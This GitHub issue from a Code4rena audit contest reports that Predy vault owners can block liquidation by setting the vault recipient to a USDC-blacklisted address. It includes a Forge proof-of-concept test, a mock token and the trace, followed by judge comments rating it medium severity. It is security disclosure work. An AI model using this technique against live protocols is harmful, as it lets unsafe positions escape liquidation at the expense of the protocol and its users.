search

code-423n4 / 2024-05-predy-findings

10 stars 9 forks source link

Vaults can become immune from liquidation by setting `vault.recipient` to a blacklisted quote token address #42

Open c4-bot-2 opened 5 months ago

c4-bot-2 commented 5 months ago

Lines of code

ttps://github.com/code-423n4/2024-05-predy/blob/a9246db5f874a91fb71c296aac6a66902289306a/src/PredyPool.sol#L289 https://github.com/code-423n4/2024-05-predy/blob/a9246db5f874a91fb71c296aac6a66902289306a/src/libraries/logic/LiquidationLogic.sol#L99

Vulnerability details

Impact

Vault owners can set vault.recipient via the external PredyPool.updateRecepient function to set the address that will receive the vault's remaining positive margin when the vault's position is liquidated, denominated in the quote token:


    //File:///src/PredyPool.sol

    function updateRecepient(uint256 vaultId, address recipient) external onlyVaultOwner(vaultId) {
        DataType.Vault storage vault = globalData.vaults[vaultId];

        vault.recipient = recipient;

        emit RecepientUpdated(vaultId, recipient);
    }

A malicious vault owner can set vault.recipient to a blacklisted/prohibited address for the quote token, such as 0x0E6b8E34dC115a2848F585851AF23D99D09b8463 which is blacklisted in Arbitrum's USDC contract. If the remaining margin is positive, the safeTransfer operation on line 97 in LiquidationLogic.liquidate may revert, as is the case with USDC:


    //File:///src/libraries/logic/LiquidationLogic.sol

    function liquidate(
        uint256 vaultId,
        uint256 closeRatio,
        GlobalDataLibrary.GlobalData storage globalData,
        bytes memory settlementData
    ) external returns (IPredyPool.TradeResult memory tradeResult) {
        ...

        if (!hasPosition) {
            int256 remainingMargin = vault.margin;

            if (remainingMargin > 0) {
                if (vault.recipient != address(0)) {
                    // Send the remaining margin to the recipient.
                    vault.margin = 0;

                    sentMarginAmount = uint256(remainingMargin);

                    ERC20(pairStatus.quotePool.token).safeTransfer(vault.recipient, sentMarginAmount);
                }
            ...
            }
        }
    }

As a new vault can be created when making a trade, any malicious user can maintain their own vault for a trade. The owner of a vault at risk of liquidation with a positive vault.margin can effectively "switch off" liquidations at will if the quote token reverts when sending tokens to blacklisted addresses, preventing the entire liquidation operation from succeeding.

This results in unsafe unliquidatable vault positions remaining in the protocol, putting both the protocol and its users at risk. This can be abused in several ways:

Proof of Concept

The following Forge test case test_audit_LiquidateBlacklist and modifications can be added to test/pool/ExecLiquidationCall.t.sol and test/mocks/MockERC20.sol to simulate a liquidator being prevented from liquidating the unsafe position.

Note that in the provided test setup, closeRatio needed to be 1e18 to get remainingMargin over zero in line 92 of LiquidationLogic, however it is believed that the required ratio range for a positive remainingMargin will be wider under real market conditions.

test/pool/ExecLiquidationCall.t.sol

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./Setup.t.sol"; import "../mocks/TestTradeMarket.sol"; import {SlippageLib} from "../../src/libraries/SlippageLib.sol"; contract TestExecLiquidationCall is TestPool { ... address liquidator; function setUp() public override { ... liquidator = makeAddr("liquidator"); currency0.mint(liquidator, 1e10); currency1.mint(liquidator, 1e10); vm.startPrank(liquidator); currency0.approve(address(_tradeMarket), 1e10); currency1.approve(address(_tradeMarket), 1e10); vm.stopPrank(); } ... // @note malicious user is this contract address, _tradeMarket is their malicious market/trading contract. function test_audit_LiquidateBlacklist() public { address blacklisted = 0x0E6b8E34dC115a2848F585851AF23D99D09b8463; // taken from testLiquidateSucceedsIfVaultIsDanger case IPredyPool.TradeParams memory tradeParams = IPredyPool.TradeParams(1, 0, -4 * 1e8, 0, abi.encode(_getTradeAfterParams(1e8))); // malicious user trades through their own market contract _tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96)); // simulate unfavorable market move _movePrice(true, 6 * 1e16); vm.warp(block.timestamp + 30 minutes); // malicious user sets their vault.recipient to blacklisted address vm.startPrank(address(_tradeMarket)); predyPool.updateRecepient(1, blacklisted); vm.stopPrank(); //vault cannot be liquidated, inner error is "Blacklistable: account is blacklisted" vm.startPrank(liquidator); vm.expectRevert("TRANSFER_FAILED"); _tradeMarket.execLiquidationCall(1, 1e18, _getSettlementData(Constants.Q96 * 11000 / 10000)); vm.stopPrank(); } ... } ```

test/mocks/MockERC20.sol

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; /** * @notice Mock of ERC20 contract */ contract MockERC20 is ERC20 { ... //@note adapted from Blacklistable.sol as used by USDC contract on arbitrum, 0xaf88d065e77c8cc2239327c5edb3a432268e5831 modifier notBlacklisted(address _account) { require(_account != 0x0E6b8E34dC115a2848F585851AF23D99D09b8463, "Blacklistable: account is blacklisted"); _; } function transfer(address to, uint256 amount) public override notBlacklisted(to) returns (bool) { return super.transfer(to, amount); } } ```
  1. In the repo's base directory, run the following command to execute the test. Observe that the output includes the Blacklistable error message:
$ forge test --match-test test_audit_LiquidateBlacklist  -vvvv
[⠢] Compiling...
No files changed, compilation skipped

Running 1 test for test/pool/ExecLiquidationCall.t.sol:TestExecLiquidationCall
[PASS] test_audit_LiquidateBlacklist() (gas: 1159010)
Traces:
  [1159010] TestExecLiquidationCall::test_audit_LiquidateBlacklist()
  ...
    │   │   │   ├─ [534] MockERC20::transfer(0x0E6b8E34dC115a2848F585851AF23D99D09b8463, 59999247 [5.999e7])
    │   │   │   │   └─ ← revert: Blacklistable: account is blacklisted
    │   │   │   └─ ← 0x08c379a00000...
    │   │   └─ ← revert: TRANSFER_FAILED
    │   └─ ← revert: TRANSFER_FAILED
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.71ms

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

Assessed type

Token-Transfer

c4-judge commented 4 months ago

alex-ppg marked the issue as selected for report

c4-judge commented 4 months ago

alex-ppg marked the issue as satisfactory

alex-ppg commented 4 months ago

The submission and its duplicates describe a way that can prevent a user's position from being liquidated by setting a receiver that has been blacklisted in one of the tokens officially supported by the system per the contest's README.

This vulnerability is significant, as it would prevent any liquidation that results in a positive margin from being carried out given that a user can change the vault's recipient at will to a blacklisted user. I believe a medium-risk rating is appropriate given that the Denial-of-Service is impermanent and liquidations can be performed at a zero or negative margin, however, I believe it is an interesting vulnerability that properly applies to the tokens officially supported in the system.

To note, any submission that does not identify the way liquidations are affected will be penalized by 25% (i.e. rewarded 75%).

c4-judge commented 4 months ago

alex-ppg changed the severity to 2 (Med Risk)